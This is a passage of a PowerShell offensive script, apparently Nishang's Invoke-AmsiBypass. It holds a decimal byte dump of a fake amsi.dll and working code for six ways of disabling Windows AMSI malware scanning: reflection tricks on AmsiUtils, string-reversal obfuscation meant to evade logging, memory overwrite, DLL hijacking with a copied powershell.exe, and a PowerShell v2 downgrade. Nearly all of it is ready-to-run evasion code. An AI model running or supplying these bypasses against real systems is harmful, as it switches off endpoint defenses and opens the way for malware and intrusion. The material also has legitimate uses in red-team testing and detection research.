0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 216 29 0 128 1 0 0 0 80 30 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 48 0 128 1 0 0 0 240 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 136 29 62 87 0 0 0 0 2 0 0 0 65 0 0 0 116 34 0 0 116 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 184 34 0 0 184 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 13 0 0 0 68 2 0 0 204 34 0 0 204 22 0 0 0 0 0 0 136 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 148 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 48 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 32 0 128 1 0 0 0 0 33 0 128 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 82 83 68 83 42 80 223 113 29 247 64 69 188 37 18 40 145 144 25 190 50 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 120 54 52 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 18 0 0 0 18 0 0 0 1 0 0 0 17 0 0 0 71 67 84 76 0 16 0 0 63 14 0 0 46 116 101 120 116 36 109 110 0 0 0 0 64 30 0 0 18 0 0 0 46 116 101 120 116 36 109 110 36 48 48 0 82 30 0 0 129 0 0 0 46 116 101 120 116 36 120 0 0 32 0 0 248 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 248 32 0 0 16 0 0 0 46 48 48 99 102 103 0 0 8 33 0 0 8 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 16 33 0 0 8 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 24 33 0 0 8 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 32 33 0 0 8 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 40 33 0 0 8 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 48 33 0 0 8 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 56 33 0 0 8 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 64 33 0 0 8 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 80 33 0 0 36 1 0 0 46 114 100 97 116 97 0 0 116 34 0 0 156 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 16 37 0 0 8 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 24 37 0 0 8 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 32 37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0 0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52 6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0 15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0 0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6 0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133 30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4 1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2 80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13 52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52 6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0 0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0 0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106 41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0 0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0 0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0 0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0 184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0 0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92 40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102 105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101 109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95 105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120 105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99 114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4 82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76 111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116 108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101 116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0 112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80 114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0 48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116 101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100 0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2 71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101 0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3 73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76 51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255 255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0 0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0 68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0 72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0 89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0 184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0 16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0 184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208 23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24 38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25 0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0 0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0 80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0 136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76 0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101 110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111 110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109 108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" if (([IntPtr]::Size) -eq 8) { Write-Verbose "64 bit process detected." $DllBytes = $AmsiX64 } elseif (([IntPtr]::Size) -eq 4) { Write-Verbose "32 bit process detected." $DllBytes = $AmsiX86 } switch($method) { "unload" { Write-Verbose "Using Matt Graeber's Reflection method." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true)' } else { Write-Output "Executing the bypass." [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) } } "unloadsilent" { Write-Verbose "Using Matt Graeber's Reflection method with WMF5 autologging bypass." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')), [Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as [String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$True)' } else { Write-Output "Executing the bypass." [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) } } "unloadobfuscated" { Write-Verbose "Using Matt Graeber's Reflection method with obfuscation from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging." if ($ShowOnly -eq $True) { $code = @" Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) "@ Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output $code } else { Write-Output "Executing the bypass." Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) } } "unload2" { Write-Verbose "Using Matt Graeber's second Reflection method." if ($ShowOnly -eq $True) { Write-Output "Use the following scriptblock before you run a script which gets detected." Write-Output '[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiContext'',[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)' } else { Write-Output "Executing the bypass." [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) } } "dllhijack" { Write-Verbose "Using Cornelis de Plaa's DLL hijack method." if ($ShowOnly -eq $True) { Write-Output "Copy powershell.exe from C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll in the same directory." Write-Output "Run the new powershell.exe and AMSI should be gone for that session." } else { [Byte[]] $temp = $DllBytes -split ' ' Write-Output "Executing the bypass." Write-Verbose "Dropping the fake amsi.dll to disk." [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) Write-Verbose "Copying powershell.exe to the current working directory." Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd Write-Verbose "Starting powershell.exe from the current working directory." & "$pwd\powershell.exe" } } "psv2" { Write-Verbose "Using PowerShell version 2 which doesn't support AMSI." if ($ShowOnly -eq $True) { Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." } else { Write-Verbose "Checking if .Net version 2.0.50727 is installed." $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") { Write-Verbose ".Net version 2.0.50727 found." Write-Output "Executing the bypass." powershell.exe -version 2 } else { Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." } } } "obfuscation" { Write-Output "AMSI and the AVs which support it can be bypassed using obfuscation techqniues." Write-Output "ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can be used (https://github.com/danielbohannon/Invoke-Obfuscation)." } } } function Invoke-AmsiBypass { <# .SYNOPSIS Nishang script which uses publicly known methods to bypass/avoid AMSI. .DESCRIPTION This script implements publicly known methods bypass or avoid AMSI on Windows machines. AMSI is a script malware detection mechanism enabled by default in Windows 10. (https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx) This script implements 6 methods of bypassing AMSI. unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session. unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell session. unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging. unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-Obfuscation - which avoids WMF5 autologging. dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell) psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn't support AMSI. The script also provides information on tools which can be used for obfuscation: ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation) .PARAMETER Method The method to be used for elevation. Defaut one is unloadsilent. .PARAMETER ShowOnly The bypass is not executed. Just shown to the user. .EXAMPLE PS > Invoke-AmsiBypass -Verbose Above command runs the unloadsilent method. .EXAMPLE PS > Invoke-PsUACme -Method unloadobfuscated -Verbose Above command runs the unloadobfuscated method. .LINK http://www.labofapenetrationtester.com/2016/09/amsi.html 